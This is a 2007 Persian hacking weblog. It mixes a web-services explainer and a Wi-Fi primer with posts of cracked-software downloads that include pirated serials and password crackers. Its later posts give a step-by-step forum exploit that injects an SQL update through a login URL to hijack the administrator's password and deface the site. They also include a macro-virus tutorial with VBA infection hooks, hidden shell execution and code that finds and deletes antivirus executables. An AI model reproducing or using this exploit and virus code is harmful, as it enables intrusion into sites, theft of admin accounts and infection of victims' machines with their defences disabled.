توضيتات ابداع کردند و باعث شد که وب سرويس ها با هم هماهنگ نباشد. وقتی IBM و مايکروسافت تصميم گرفتند تا استاندارد های خود را يکسان کنند WSDL بوجود آمد. در ماه مارس سال ۲۰۰۱ مايکروسافت، IBM و Ariba نسخه 1.1 را به W3C ارائه کردند. گروهی از W3C بر روی اين استاندارد کار کردند و آن را پذيرفتند. هم اکنون اين تکنولوژی در دست ساخت است و هنوز کامل نشده. ولی هم اکنون اکثر سازندگان وب سرويس از آن استفاده می کنند. هر وب سرويسی که بر روی اينترنت قرار می گيرد دارای يک فايل WSDL است که مشخصات، مکان و نتوه استفاده از وب سرويس را توضيت می دهد. يک فايل WSDL نوع پيغام هايی که وب سرويس می فرستد و می گيرد را توضيت می دهد مانند پارامترهايی که برنامه صدا زننده برای کار با وب سرويس بايد به آن بفرستد. در تئوری يک برنامه در وب برای يافتن وب سرويس مورد نظر خود از روی توضيتات WSDL ها جستجو می کند. در WSDL اطلاعات مربوط به چگونگی ارتباط با وب سرويس بر روی HTTP يا هر پروتکل ديگر نيز وجود دارد. اين مهم است که بدانيم WSDL برای برنامه ها طراتی شده است نه برای خواندن آن توسط انسان. شکل فايلهای WSDL پيچيده به نظر می آيد ولی کامپيوترها می توانند آن را بخوانند و تجزيه و تتليل بکند. خيلی از نرم افزارهايی که وب سرويس می سازند فايل WSDL مورد نياز وب سرويس را نيز توليد می کنند بنابراين وقتی برنامه نويس وب سرويس خود را ساخت به شکل خودکار WSDL مورد نياز با آن نيز ساخته می شود و اتتياجی به آموزش دستورات WSDL برای ساختن و استفاده از وب سرويس نيست. UDDI يا Universal Description , Discovery and Integration سومين استاندارد اصلی وب سرويس ها، يعنی UDDI، به شرکتها و برنامه نويسان اجازه می دهد تا وب سرويس های خود را بر روی اينترنت معرفی کنند. اين استاندارد در اصل بوسيله مايکروسافت، IBM و Ariba و پنجاه شرکت بزرگ ديگر ساخته شده است. با استفاده از UDDI شرکتها می توانند اطلاعات خود را در اختيار شرکت های ديگر قرار بدهند و مدل B2B ايجاد کنند. همان طور که از نام آن مشخص است شرکت ها می توانند وب سرويس خود را معرفی کنند، با وب سرويس ديگران آشنا شوند و از آن در سيستم های خود استفاده کنند. اين استاندارد جديدی است و در سال ۲۰۰۰ ساخته شده است و کنسرسيومی از شرکتهای صنعتی در تال کار بر روی آن هستند. نسخه دوم UDDI در ماه ژوئن سال ۲۰۰۱ ارائه شد و نسخه سوم آن در دست ساخت است. UDDI يک متن مبتنی بر XML را تعريف می کند که در آن شرکت ها توضيتاتی درباره چگونگی کار وب سرويس شرکتشان و امکانات خود می دهند. برای تعريف اين اطلاعات از شکل خاصی که در UDDI توضيت داده شده استفاده می شود. شرکت ها می توانند اين اطلاعات را در UDDI شرکت خود نگهداری کنند و تنها به شرکت های مورد نظرشان اجازه دستيابی به آنها را بدهند يا آنها را در مکان عمومی و در اينترنت قرار دهند. بزرگترين و مهمترين پايگاه UDDI پايگاه UDDI Business Registry يا UBR نام دارد و توسط کميته UDDI طراتی و اجرا شده است. اطلاعات اين پايگاه در چهار نقطه نگهداری می شود: مايکروسافت، IBM، SAP و HP. اطلاعاتی که در يکی از چهار پايگاه تغيير کند در سه تای ديگر نيز اعمال می شود. اطلاعات درون اين پايگاه ها شبيه دفترچه تلفن است. White Pages که در آنها اطلاعات تماس شرکت ها و توضيتات متنی آنهاست، Yellow Pages تاوی اطلاعات طبقه بندی شده شرکتها و اطلاعات درباره توانايی های الکترونيکی آنها می باشد، Green Pages، تاوی اطلاعات تکنيکی درباره سرويس های آنها و نتوه پردازش اطلاعات شرکت آنها می باشد. اطلاعات تجاری و سرويس های شرکت ها کاملا ً طبقه بندی شده است و اجازه می دهد که به راتتی در آنها جستجو کرد. سپس متخصصان IT می توانند از اين اطلاعات استفاده کرده و شرکت ها را برای خدمات بهتر به هم متصل کنند. با اين شرت UDDI امکان پياده سازی مدل B2B را ايجاد می کند و شرکتها می توانند از سرويس های يکديگر استفاده کنند. شرکت هايی که به UDDI علاقه نشان داده اند قدرتمند هستند و خيلی از آنها از وب سرويس و استانداردهای آن در متصولات خود استفاده می کنند. NTT Communications of Tokyo يکی از شرکت هايی است که در تال اضافه کردن توضيتاتی به ساختار UDDI است. در هر تال تاضر شرکت ها هنوز کمی درباره وارد کردن خود در پايگاه های عمومی متتاط هستند. اين چيز عجيبی نيست. شرکتها ابتدا اين امکانات را فقط برای شرکای خود ايجاد می کنند. شرکتهای بزرگ نيز برای مديريت بر سرويس های خود و اشتراک آنها بين قسمت های مختلف از اين استاندارد استفاده می کنند. وقتی اين استاندارد به تد بلوغ خود برسد و کاربران با آن اتساس راتتی بکنند استفاده از آن نيز در مکان های عمومی فراگير خواهد بود. اين تغيير رويه برای شرکت های بزرگی که B2B را به روش های قديمی اجرا کرده بودند مشکل است. بعضی نيز اشکال امنيتی بر اين روش می گيرند و مايل نيستند اطلاعاتشان را بدهند. اما با گذشت زمان و کامل شدن اين تکنولوژی و درک لزوم استفاده از آن شرکت ها چاره ای جز استفاده از آن ندارند.
+ نوشته شده در  شنبه هفدهم شهریور 1386ساعت 15:20  توسط Devil Hacker  | 

دانلود بازار 1

 ۲ تا نرم افزار برای کرک کردن پسورد فایلهای pdf
PDF Password Cracker 0.96MB Site in US
PDF Password Cracker Pro 1.70MB Site in US


جدا سازی صدا از موزیک 


دانلود - 9 مگابایت


 Download HTML2PDF Pilot 2.11

نرم افزاری برای تبدیل صفحات html به pdf برای درست کردن مقاله

 Size : 1.65 MB

Download


BitDefender Internet Security v10.108 -

 جدیدترین نسخه ی بسته ی امنیتی کامل شرکت BitDefender می باشد که به تازگی به روز عرضه شده است. شایان ذکر است که نسخه های آزمایشی این نرم افزار پیش از این بر روی سایت آی آر تیک قرار داشت که با ارایه نسخه ی نهایی ، دیگر وفت آن رسیده است که با نصب به روزترین راه حل امنیتی شرکت فوق الذکر، تجربه ی شیرینی را از کار کردن با رایانه و اینترنت تجربه کنیم. این برنامه دارای برنامه های ضد ویروس (AntiVirus) ، دیوار آتشین (Firewall)، ضد هرزنامه (AntiSpam) و همچنین ضد برنامه های جاسوسی (AntiSpyware) می باشد. دیگر نیازی نیست که همه ی برنامه ها را جداگانه نصب کنید، چرا که با نصب این بسته همه ی این ویژگیها را یک جا خواهید داشت. این مجموعه را دریافت ، با سریال اختصاصی آن ثبت و به روز کنید و دیگر نگران هیچ مشکل امنیتی که سیستم شما را تهدید کند نباشید. در مقایسه با برنامه ی گران قیمت Norton و McAfee این برنامه بسیار سریع اجرا می شود و بسیار دقیق عمل می کند. نمونه ی آن است که بیش از 1264 هرزنامه را از ایمیل من بدون هیچ اشتباهی شناسایی و پاکسازی کرد. قیمت این بسته ی امنیتی 69$ می باشد که به صورت رایگان دراختیار شما قرار می گیرد.

دانلود

( Size : 26,210 Kb )


Serials:

4BFFC802217BEBCB4656 -

45ECF7E810D0E4AFD492


 Microsoft Virtual PC 2007 1.0

 به جدیدترین عضو خانواده ی بزرگ مایکروسافت ، یعنی Virtual PC 2007 خوش آمدگویی می کنیم. بعد از پروژه ی موفق سال 2004 این برنامه، حال نوبت آن رسیده است تا نسل جدید نرم افزارهای کاربردی را تجربه کنید. پیش از این آی آر تیک، نسخه ی بتای این محصول را پیش از انتشار در اختیار شما قرارداد و حال نسخه ی نهایی محصول را تقدیم می دارد. این برنامه چیست و چه کار می کند ؟ برنامه ی Virtual PC به شما این امکان را می دهد تا چند سیستم عامل گوناگون را به صورت همزمان بر روی یک رایانه نصب نمایید. تعویض میان سیستم عامل ها تنها با یک کلید می باشد. با استفاده از این بسته ی نرم افزاری قادر خواهید بود تا نرم افزارهای گوناگون خود را به راحتی بر روی سیستم عامل دلخواه خویش نصب نمایید و یا کیفیت آن بررسی نمایید. برای کسب اطلاعات کامل در مورد نحوه ی عملکرد این نرم افزار به بخش انگلیسی این پست مراجعه نمایید. این برنامه به تازگی در بخش دانلود شرکت مایکروسافت قرار گرفته است و شما نسخه ی Final آن را از آی آر تیک دریافت می نمایید. به همه ی کاربران حرفه ای توصیه می کنیم که نسخه ی جدید این برنامه را از دست ندهند

 دانلود


 PHP Designer

نام نرم افزاری می باشد که برنامه نویسان وب که با زبان برنامه نویسی php آشنایی دارند و یا به طور حرفه ای برای طراحی صفحات وب سایت از این زبان برنامه نویسی استفاده می کنند محیطی را فراهم می کند تا کد ها و عملیات طراحی را در آن انجام دهند.

این ویرایشگر زبان php دارای امکانات و قابلیت های متعددی می باشد. ویرایش ، خطایابی و آنالیز کد ها و انتشار فایل ها از امکاناتی می باشد که ما توان از آن ها در این نرم افزار نام برد. شما با کمک این نرم افزار و زبان برنامه نویسی php می توانید وب سایت های خود را به صورت پویا ساخته و با کمک ادقام آن با دیگر زبان های برنامه نویسی و پایگاه های داده وب سایتی کاملا حرفه ای طراحی کنید.
این ویرایشگر با تکنولوژیهای جدید برنامه نویسی وب همانند تکنولوژی AJAX سازگاری داشته و شما می توانید از این فناوری نیز در ساخت وب سایت خود اقدام کنید. این نرم افزار با خطایابی کد های وب سایت در صورت بروز اشتباه های تایپی و گرامری و دستوری و نشان دادن آن ها با رنگ های متفاوت به طراح در هرچه بهتر شدن وب سایت کمک می کند.
همچنین در محیط ویرایشگر این نرم افزار شما می توانید از زبان های دیگری نظیر HTML , CSS , XML , JavaScript نیز برای برنامه نویسی وب استفاده کنید.

 دانلود

 VMware Workstation
 
نام ابزاری است که همانند VPC برای کاربر اقدام به ایجاد یک محیط مجازی می کند. این نرم افزار با توجه به نیازهایی که امروزه برای کار با سیستم عامل لینوکس می باشد اهداف خود را بیشتر بر روی این موضوع متمرکز کرده تا نرم افزار با سیستم عامل های کد باز مانند لینوکس سازگاری بیشتری داشته باشد و دارای تنظیمات بیشتری در این زمینه می باشد. این امر باعث این نشده است تا این نرم افزار سیستم عامل ویندوز را فراموش کند. شما می توانید بر روی محیط مجازی که توسط این نرم افزار ایجاد می شود ویندوز را نیز به راحتی نصب کرده و از تنظیماتی که برنامه برای هرچه بهتر شدن کار در اختیار شما قرار می دهد بهره برداری کنید.

از ویژگی های این نرم افزار می توان به موارد زیر اشاره کرد:
- قابلیت اجرای سیستم عامل های 64-bit
- قابلیت کنترل کلیه های پروسه های در حال اجرا
- قابلیت باز کردن وتبدیل فایل های برنامه های مشابه و اجرا نمودن آن ها . به عنوان مثال شما می تواید فایل اصلی نرم افزار virtual PC را که ویندوز را در آن نصب کرده اید در این برنامه وارد نموده و از آن استفاده کنید.
- قابلیت نمایش سیستم عامل قبل از اجرای آن
- پشتیبانی از سیستم عامل های Microsoft, Red Hat, SUSE, Ubuntu, Sun Solaris x86, FreeBSD و ....
و بسیاری دیگر از امکانات


دانلود نسخه 6 --- 273 مگابایت

کرک 1

کرک 2

 Online TV Player
 
نام نرم افزاری می باشد که شما به کمک آن می توانید به بیش از 850 کانال تلویزیونی و ماهواره ای و 1500 ایستگاه رادیویی در اینترنت دسترسی داشته باشید. این برنماه به شما این توانایی را می دهد تا تصاویر را بدون نیاز به وب سایت کانال مربوطه مشاهده کنید. مشاهده از طریق وب سایت باعث کندی تصاویر می شود چون در هر چند ثانیه می بایست تصاویر برای بیننده بارگذاری شود و معمولا در کنار تصاویر با قرار گرفتن تبلیغات و پنجره های تبلیغاتی که مدام پس از گذشت چند دقیقه باز می شوند مزاحمت های ایجاد می شود.
Online TV Player از هر دو نرم افزار windows media player و real one player جهت پخش تصاویر نیز پشتیبانی می کند. همچنین شما به کمک این نرم افزار می توانید تصاویر دریافتی را به اندازه دلخواه تماشا کنید حالتی که در مشاهده تصاویر از وب سایت ها برای شما ممکن نیست زیرا تصاویر را از درون صفحات وب مشاهده می کنید. این نرم افزار این قابلیت را دارا می باشد تا تصاویر را به صورت تمام صفحه ( Full Screen ) نیز به نمایش درآورد.
از ویژگی ها و قابلیت های این نرم افزار به موارد زیر می توان اشاره کرد:
- تماشای بیش از 850 کانال تلویزیونی از 100 کشور دنیا
- گوش دادن به بیش از 1500 ایستگاه رادیویی و برنامه های آن ها در بیش از 120 کشور دنیا
- توانایی پخش هزارن برنامه show ، فیلم ، موسیقی و کلیپ های ویدئویی
- بدون نیاز به تجهیزات و برنامه های جانبی و اضافی
- استفاده آسان ، تنها کافیست از لیست کشور ها کانال مورد نظر خود را انتخاب کنید.
- پشتیبانی از فرمت های مختلف تصویری
- قابلیت تغییر در اندازه تصاویر
- توانایی قرار دادن بیش از 40 پوسته زیبا و متنوع برای زیبایی بیشتر در ظاهر برنامه
- قابلیت به روز رسانی نرم افزار به صورت کاملا مجانی


       این وبلاگ رو به دوستان خود معرفی کنید

+ نوشته شده در  چهارشنبه چهاردهم شهریور 1386ساعت 19:9  توسط Devil Hacker  | 

نرم افزار مترجم پارس

  نرم افزار مترجم پارس : یک سیستم ترجمه ماشینی است که متن انگلیسی را به جمله های فارسی ترجمه می نماید. در حال حاضر دو مترجم انگلیسی به فارسی "پدیده" و "پارس" مورد استفاده ی کاربران اینترنتی قرار می گیرد. و حال در مورد مترجم پارس اطلاعاتی را در اختیار شما قرار می دهیم.

اولین نگارش تجاری مترجم در شهریور ماه 1376 به عموم عرضه گردید و آخرین نگارش ارتقاء یافته مترجم پارس در خرداد ماه 1383 ارائه شده است .در سیستم ورودی مترجم پارس، تایپ متن انگلیسی یا انتخاب محتویات از یک فایل استفاده می گردد.در حال حاضر، موتور مترجم پارس قادر به شناسایی و تجزیه بیش از یک میلیون و پانصدهزار واژه عمومی و اصطلاحات تخصصی متداول در 38 رشته علمی است .بانک واژگان و اصطلاحات مترجم پارس همواره در حال بهینه شدن و ارتقاء توسط همکاران ما در مراکز علمی و دانشگاهی می باشد.توجه : آی آر تیک بر این باور است که رشد و توسعه نرم افزارهای ایرانی به حمایت های مالی مصرف کننده نیازمند است. چنانچه این برنامه نیازهای شما را تامیین می کند، می توانید با خرید نسخه ی اصل آن از برنامه نویسان و شرکت تولید کننده این محصول حمایت کنید
ارایه ی این برنامه تنها جنبه ی آموزشی دارد


 لينك مستقيم به همراه نحوه ي كرك كردن :

دانلود نرم افزار با حجم ۲۶.۷ مگابایت
پاسورد فایل : www.kamyabonline.com

+ نوشته شده در  چهارشنبه چهاردهم شهریور 1386ساعت 18:52  توسط Devil Hacker  | 

WiFi چیست

 
اين استاندارد از زيرمجموعه Bluetooth است و تحت آن ارتباطى با قدرتى بيشتر از خود Bluetooth ايجاد خواهد شد. ارتباط Wi-Fi كه مخفف Wireless Fidelity است بيشتر بر پايه ارتباط شبكه اينترنت به صورت بى سيم تاكيد مى كند و همين امر باعث محبوبيت بسيار زياد آن شده است با استفاده از اين تكنولوژى به راحتى در مسافرت، هواپيما و يا هتل مى توان از طريق Laptop به اينترنت متصل شد. Wi-Fi كه همان استاندارد IEEE802.11 است در مدل هاى ۸۰۲.11a و ۸۰۲.11b مورد استفاده قرار مى گيرد و استاندارد اصلى آن IEEE802.11b است. در اين مدل حداكثر سرعت انتقال اطلاعات ۱۱Mbps است و از فركانس راديويى ۴/۲ گيگاهرتز استفاده مى كند. براى سرعت بخشيدن به اين استاندارد مدل ديگرى نيز به نام ۸۰۲.11b+ ايجاد شده كه سرعت انتقال را تا ۲۲mbps افزايش مى دهد. در مدل ۸۰۲.11a سرعت اطلاعات حدود ۵۴mbps است و از فركانس ۵۰GHz استفاده مى شود. به طور حتم اين مدل در آينده اى نه چندان دور جاى ۸۰۲.11b را خواهد گرفت.

براى استفاده از اين سيستم ايستگاه هايى به نام Access point در مناطق مختلف و به فواصل چند صد مترى قرار مى گيرد. اين ايستگاه ها امواج راديويى را در هوا منتشر مى كنند و هر كامپيوترى كه به Wi-Fi مجهز باشد و در محدوده اين ايستگاه ها قرار داشته باشد قادر به استفاده از اينترنت است و كاربران با قرار دادن يك كارت سخت افزارى IEEE802.11b و يا وصل كردن يك دستگاه Wi-Fi اكسترنال از طريق USB به كامپيوتر خود قادر به استفاده از اين سيستم هستند. قيمت اينترنت در اين سيستم بسيار مناسب است. مثلاً در كشور آمريكا يك Account نامحدود يك ماهه با اين سرويس به مبلغ ۲۰ تا ۳۰ دلار در اختيار كاربران قرار مى گيرد. از نظر برد موثر هم حداكثر تا ۱۵۰ متر اطراف Access Point مورد پوشش قرار مى گيرد. در اين حالت سرعت انتقال ارتباط ۱mbps است. البته هر چقدر فاصله كاربر با ايستگاه اصلى كمتر از ۱۵۰ متر باشد سرعت انتقال اطلاعات بيشتر خواهد شد. مثلاً سرعت انتقال اطلاعات در فاصله ۱۰۰ مترى mbps5.5، در فاصله ۸۰ مترى ۸mbps و در فاصله ۵۰ مترى و كمتر از آن ۱۱mbps است
+ نوشته شده در  چهارشنبه چهاردهم شهریور 1386ساعت 18:34  توسط Devil Hacker  | 

هك فروم

 اين آموزش بر روي فرم هاي ورژن 2 و پايين تر عمل خواهد كرد در اولين قدم بايد بر روي فرم Sign Up كرده و يوزر و پسورد به همراه يك ايميل واقعي دريافت كنيد . در ادامه اميلي براي Confirm عضويت شما فرستاده ميشود .

در ادامه به Member list رفته و يا به لينك زير برويد :

http://url/memberlist.php

در ادامه ميتوانيد بر روي هر كدام از ممبر ها كليك كرده و URL را بر روي آدرس بار خود مشاهده كنيد

در ادامه Tag زير را در آخر URL پيدا خواهيد كرد بدون هيچگونه quotes

"userid="

اين عدد را در آخر اضافه كنيد "* 1 " به عنوان مثال :

http://url/member.php?action=getinfo&userid=1

در ادامه با انجام اين كار شما نام Administrator را پيدا خواهيد كزد ( يوزر ادمين سايت ) هر چيزي كه مشاهده ميكنيد يادداشت كنيد

حالا همه چيز آماده شده . بصورت زير عمل كنيد :

URL زير را كپي كنيد : و بصورت زير آنرا Edit كنيد :



http://url/member.php?action=login&username=User&password=Sas an&url=");".$users=$DB_site->query("update+user+set+email='123456'+WHERE+usern ame='lamer'")."

Username : در اينجا يوزري كه شما در فرم با آن رجيستر كرده ايد وارد كنيد مثلا Dj_agoustinno

Password : در اينجا پسورد يوزر خودتون را وارد كنيد ( Sasan )

Email Adress : در اينحا آدرس ايميلي كه با آن رجيستر كرديد وارد نماييد ( EMail@yahoo.com )

Admin : نام ادمين سايت كه بدست اورديد ( Lamer )

خوب اگه تمام كارهايي كه گفتم را درست انجام داده باشيد صفحه refresh شده و اين كار ادامه پيدا ميكند بدون توقف . خوب در اين حالت به Main Page رفته و Login كنيد با همين يوزر و پسورد ي كه الان ازشون استفاده كرديد . در اينجا صفحه اي دريافت ميكنيد كه يوزر و پسورد شما اشتباه ميباشد بر روي لينكي كه در پايين قرار گرفته و پسورد جديد براي شما ارسال ميكند كليك كرده ! و آدرس ايميلي كه پسورد براي شما ارسال شده وارد كنيد حالا به ايميل خود رفته و پسورد خود را دريافت كنيد !! اما ..... اين ....... !!! اين پسورد شما نيست پسورد ادمين سايت ميباشد J

D e f a c e m e n t

حالا وقت Deface كردن يا هر كاري كه شما دوست داريد رسيده !!

http://url/admin/index.php

در اينجا Login كنيد !* اما اگر موفق نشديد به Main Page رفته و ابتدا از آنجا وارد شويد و بعد از ورود به صفحه ي ادمين رفته و دوباره Login كنيد

براي Deface كردن به سمت چب نگاه كنيد "Templates" بر روي Edit كليك كرده و در قسمت راست Main Frame را ميبينيد بر روي آن Edit را بزنيد ممكنه كه بر روي Default باشد . اگر نبود اولي را انتخاب كنيد . در صفحه ي بعدي بر روي Submit كليك كنيد . به پايين آمده و Fourmhome را پيدا كرده و بر روي آن Edit را بزنيد در قسمت بعدي شما كد هاي HTML صفحه ي اول را مشاهده ميكنيد . بعد از گذاشتن كدهاي خودتون و قرار دادن آنها Submit را زده تا Index شما در صفحه ي اول به نمايش در بيايد
+ نوشته شده در  چهارشنبه چهاردهم شهریور 1386ساعت 18:30  توسط Devil Hacker  | 

High speed cracker for MD4, MD5 and NTLM v1 hashes

توضیحات


 When you use some exploits in the exploits and POC section of the forum, you will find an MD5 hash. Like this one: 6eae4726b5533b21dafb9df4a3022ad6. All the MD5 hash cracker does, it work out what the password is from that hash be comparing it to other hashes. As there are so many cobinations, this can take hours, even days if the password is over 9 letters/numbers.
_________________

دانلود

 

+ نوشته شده در  یکشنبه یازدهم شهریور 1386ساعت 17:22  توسط Devil Hacker  | 

آموزش نوشتن ماکرو ویروس

 سلام
طي چند بخش سعي ميكنم چگونگي نوشت ماكر ويروس (كه از بقيه ساده تر هم هست) را براتي شما توضيح بدهم . توجه كنيد اين مطالب فقط شما را اشنا ميكند با ماكرو ويروس ها و توقع ساختن يك ويروس نويس از شما را نداشته باشيد.

در مورد منابع هم لازم است كه بگويم اين مطالب مجموعه يادداشت هايي است كه از astalavista و areyoufearless و نوشته های یک ویروس نویس سوئدی که مدتي قبل من جمع آوري كرده بودم.

اميد وارم مفيد واقع بشه
مقدمه:
ماکرو ویروس نوعی از ویروس ها بوده که از خانواده word استفاده می کنند که در اینجا ما از دو نوع 97 و 2000 استفاده می کنیم (توجه کنید که ورد 97 بسیار برای ماکرو ویروس نویسی مناسب می باشد) و همچنین از VB هم برای application ها استفاده میشود.
ماکرو ویروس ها خود را بک فایل Document یا template می چسباند و بعد از باز شدن آن توسط قربانی طبق تنظیمات موجود کامپیوتر را آلوده می نماید و آلودگی را بر روی template پیش فرض ذخیره و با باز شدن هر سند آن را نیز آلوده می نماید.

چند اصطلاح در مورد ویروس ها :
VXافرادی که به جابجایی ویروس می پردازند
VCK کیت های ساخت ویروس
AV آنتی ویروس
Worm برنامه های کامپیوتری که خود را کپی و منتشر می سازد.
Boot sector virus ویروس هایی که بوت سکتور را آلوده و در زمان بوت شدن کامپیوتر به همراه دیگر برنامه ها اجرا میشوند.
Trojan اجزه دسترسی از راه دور و بدون مجوز صاحب آن را به شما میدهد که به آنها RAT نیز گفته میشود.
File infector خود را به فایلی متصل نموده و آن را آلوده می سازد ( معمولا فایل های exe, com,sys,batch)
Dropper برنامه ویژهای که وظیفه قرار دادن ویروس بر روی کامپیوتر قربانی را دارد.
Stealth virus ویروسی که عملکرد آن از دید قربانی پنهان میباشد.
Polymorphic نوعی ویروس که تواننایی اصلاح را داراست و تشخیص را مشکل می سازد.
Fast infection آلوده ساختن تمام پرونده های باز
Payload مهمترین بخش ویروس که زمان اجرا پروسه مربوط به ویروس را تعیین میکند.
Tunneling Virus ویروسی که مفسر ها را یافته و باز خوانی میکند.
ANSII bomb وقتی یک کاراکتر یا یک سری از کاراکتر ها را فشار میدهیم آن زمان Payload ویروس آغاز به کار کرده و مطا بق آن شروع به کار میکند. (مثلا با فشار دادن اسپیس)
Resident Infection ویروسی که خود را در RAM قرار میدهد.
BIS آلودگی در بوت سکتور
TSR ویروس فعالیت خود را پایان داده است اما هنوز دز کامپیوتر قربانی موجود میباشد.

مشاهده سورس یک ماکرو ویروس:
در اینجا شما طریقه یافتن و مشاهده ماکرو را یاد میگیرید.
برای یافنن یک ماکرو یم روش همان پیام خطا هنگام اجرا بوده و در صورتی که به شکل هیدن اجرا شود شما باید Normal.dot را پیدا کنید و اگر حجم آن بیش از 40 -50 kb باشد آن تغییر نموده و شما آلوده شده اید.) حجم این فایل در حالت عادی 26 k-27k می باشد.)
برای مشاهده سورس ماکر ویروس آن را بیابید سپس در ورد 97 یک Document را باز نموده سعی نمایید به VBA بروید در این حالت پنجره باز و هشداری با این مضمون را میدهد (هدف از این بخش فعال نمودن بخش محافظتی ورد در مقابل ماکرو ها و عدم اجرا آنها است)
Macro's are in this document –
Disable?
البته ممکن است این مورد به صورت پیش فرض فعال شده باشد. سپس بر روی Yes کلیک کنید و حال میتوانید ویروس خود را بدون آلوده شدن مشاهده نمایید.

در اين بخش در مورد دستور ها و يكي از روش هاي چهار گانه مخفي سازي صحبت ميكنيم.
طریقه کد نویسی:
در بخش زیر دستورات لازمه را برای شما بیان میکنم:
Document_Open() دستور آلوده ساختن document در هنگام باز شدن می باشد.
Document_New() دستور آلوده ساختن هر پرونده جدید می باشد.
Document_Close() دستور آلوده ساختن هر پرونده در زمانی که آن بسته میشود.
FileSaveAs() دستور آلوده ساختن پرونده در هنگامSaveAs میباشد.
FileSave() دستور الوده سازی پرونده در هنگام Save میباشد.
ToolsSpelling() دستور الوده سازی به هنگام چک کردن spell میباشد.
ToolsGrammar() دستور آلوده ساختن در هنگام چک کردن گرامر می باشد.
AutoExec() دستور الوده ساختن هنگامی که پرونده باز است (مخصوصا برای template )
AutoExit دستور آلوده ساختن هنگامی که پرونده بسته میباشد (مخصوصا برای template)
ViewVBCode() این دستور و دو دستور زیر هر سه در جهت پنهان سازی به کار میروند.
ToolsMacro()
FileTemplates().
Shell "command.com /whatever you want", vbHide این دستور در داس اجرا و دستور vbHide پنجره داس را پنهان نموده و قربانی از اتفاق افتاده اطلاعی نمییابد.
به طور مثال در Shell "command.com /c ftp.exe", vbHide اف تی پی برای پنهان کردن عملیات مورد استفاده قرار گرافته است.

در بخش بالا یک سری از دستورات مورد استفاده در ماکرو ویروس نویسی را مشاهده کردید فقط توجه کنید که در آغاز باید از sub استفاده کنید و در انتها هم از End Sub استفاده کنید.
به مثال زیر توجه نمایید:
Sub Document_New()
msgbox "x11011110x"
End Sub
آنرا در VBA خود قرار دهید ماکرو را اجرا کنید سپس یک document ایجاد نمایید و مشاهده می کنید که یک پنجره جدید پدیدار میشود.
ضمنا میتوانید از دستور On Error Resume Next نیز استفاده کنید تا در هنگام ایجاد خطا به کار خود ادامه دهد.
یک فایل را باز نموده و برای تمربن بیشتر مثال زیر را می نویسیم
Sub Document_Open()
On Error Resume Next همیشه در ابتدای ساب این مورد را استفاده کنید.
Open "C:\xde.txt" For Output As #1 این دستور یم فایلی به نام xde.txt را در داریو سی ایجاد یا باز می نماید.
Print #1, "x11011110x" این دستور x11011110x را در فایل xde.txt قرار میدهد.
Close #1 این دستور فایل های بازشده قبلی را برای شما میبندد.
Msgbox "File Written to" این پیام را برای شما به نمایش میگذارد.

تکنیک های پنهان سازی:
برای این کار روش های متفاوتی وجود دارد که من 4 روش را برای شما توضیح میدهم:

1. پاک کردن آنتی ویروس
همه ی ما با آنها آ شنا هستیم در این بخش هدف ما یافتن راهی برای از کار انداختن آنتی ویروس ها است. برای این کار باید فایل .exe مربوط به آنتی ویروس را بیابیم و آنرا پاک کنیم و بعد از آن محیط کار ما مساعد میشود. اما مشکلی اساسی را در پیش روی خود داریم در اکثر موارد تنظیمات را به شکلی تنظیم میکنیم که اگر آنتی ویروس در مسیر پیش فرض نصب شده باشد در آن صورت آن را از کار می اندازد و اگر در مسیر دیگر باشد کاری انجام نمیدهد پس باید یک موتور جستجو گر را در ویروس تعبیه کنیم که فایل مربوطه را یافته و نابود سازد.

Sub Mainz()
Set Fs = Application.FileSearch این دستور Fs یه عنوان فیل جستجو گر Application قرار میدهد.
es$ = "xdez.txt" این دستور es$ را برای xdez.txt تعریف می نماید.
.LookIn = "C:\" این دستور فایل یا درایو را معین می سازد.
.SearchSubFolders = True این دستور میگوید که کل فایل یا درایو را جستجو نماید.
.FileName = es$ این دستور فایل نیم دنبا ل es$ میگرد.
If .Execute > 0 Then اگر پیدا گشت دستورات زیر را اجرا کن.
MsgBox "File Found" این دستور در پیامی پیدا شده فایل را اطلاع میدهد.
Set ds = CreateObject("Scripting.FileSystemObject") این دستور شی FSO را ایجاد می نماید.
Set fy = ds.GetFile(es$) این دستور اجازه میدهد که مسیر فایل را به دست آوریم
h = (fy.Path) این دستور به مسیر فایل یک متغیر را نسبت میدهد.
SetAttr h, vbNormal ویژگی فایل را به شکل نرمال قرار میدهد.
Kill (h) این دستور فایل را پاک می کند.
MsgBox "File Illimenated" این دستور شما را از پاک شدن آگاه می سازد.
Else
MsgBox "File was not found." این دستور میگوید که فایل پیدا نشد
End If
End With
End Sub

شاید در بخش بالا یک سری مطالب برای شما گیج کننده باشد که سعی میکنم یک سری از مطالب گیج کننده را برای شما باز کنم.
شاید در نگاه اول مثلا سوال کنید که برای متغیر نام Fy را در نظر گرفتم علت این برای مشکل نمودن تشخصی توسط انتی ویروس می باشد.
Set ds = CreateObject("Scripting. ")
این خط اجازه پیدا نمودن مسیر فایل و ایجاد یک FileSystemObject را برای استفاده در ماکرو به شما می دهد.
Set fy = ds.GetFile(es$)
این خط دستور را مشاهده میکنید که در واقع همانند File Operator.GetFile(filespec) کار میکند که در این مورد File Operator تعریف شده در ds و داریم ds.GetFile(filespec) since و file spec تعریف گشته در es$ و درشکل کلی به
Set fy = ds.GetFile(es$) می رسیم.
خط بعدی دستور h = (fy.Path) میباشد . این دستور h را در مسیر فایل ما قرار میدهد (مثلا . C:\My Documents\xdez.txt)
SetAttr h, vbNormal این دستور یک ویژگی را به فایل میدهد و آن هم اینست که آن را به صفت نرمال را نسبت می دهد و آن را قابل پاک نمودن میکند.
Kill (h) که به زبان دیگر به شکل Kill ("C:\My Documents\xdez.txt") و تمام چیز هایی را که در مسیر بیابد پاک مینماید.

در بخش زیر دستورات را بدون توضیحات مربوط به دیباگ مشا هده میکنید.
Sub Mainz()
On Error Resume Next
Set Fs = Application.FileSearch
es$ = "xdez.txt"
With Fs
.LookIn = "C:\"
.SearchSubFolders = True
.FileName = es$
If .Execute > 0 Then
Set ds = CreateObject("Scripting.FileSystemObject")
Set fy = ds.GetFile(es$)
h = (fy.Path)
SetAttr h, vbNormal
Kill (h)
Else
End If
End With
End Sub

خوب اگر حواس شما جمع باشد باید متوجه یک تغییر باشید و آن هم On Error Resume Next است که باید همیشه در نوشتن ماکرو ویروس ها از آن استفاده کنید این دستور به راحتی تمام Error ها را توجه نکرده و به خط بعد دستوری رفته و به کار خود ادمه میدهد.
در این بخش تنها یک نکته باقی ماند و آن هم پاک کردن آنتی ویروس از طریق دستور برای امتحان آنتی ویروس نصب کنید و به جای es$ در es$ ="xdez.txt" باید به طور مثال Norton.exe که به شکل زیر میرسیم:
es$ = "Norton.exe"

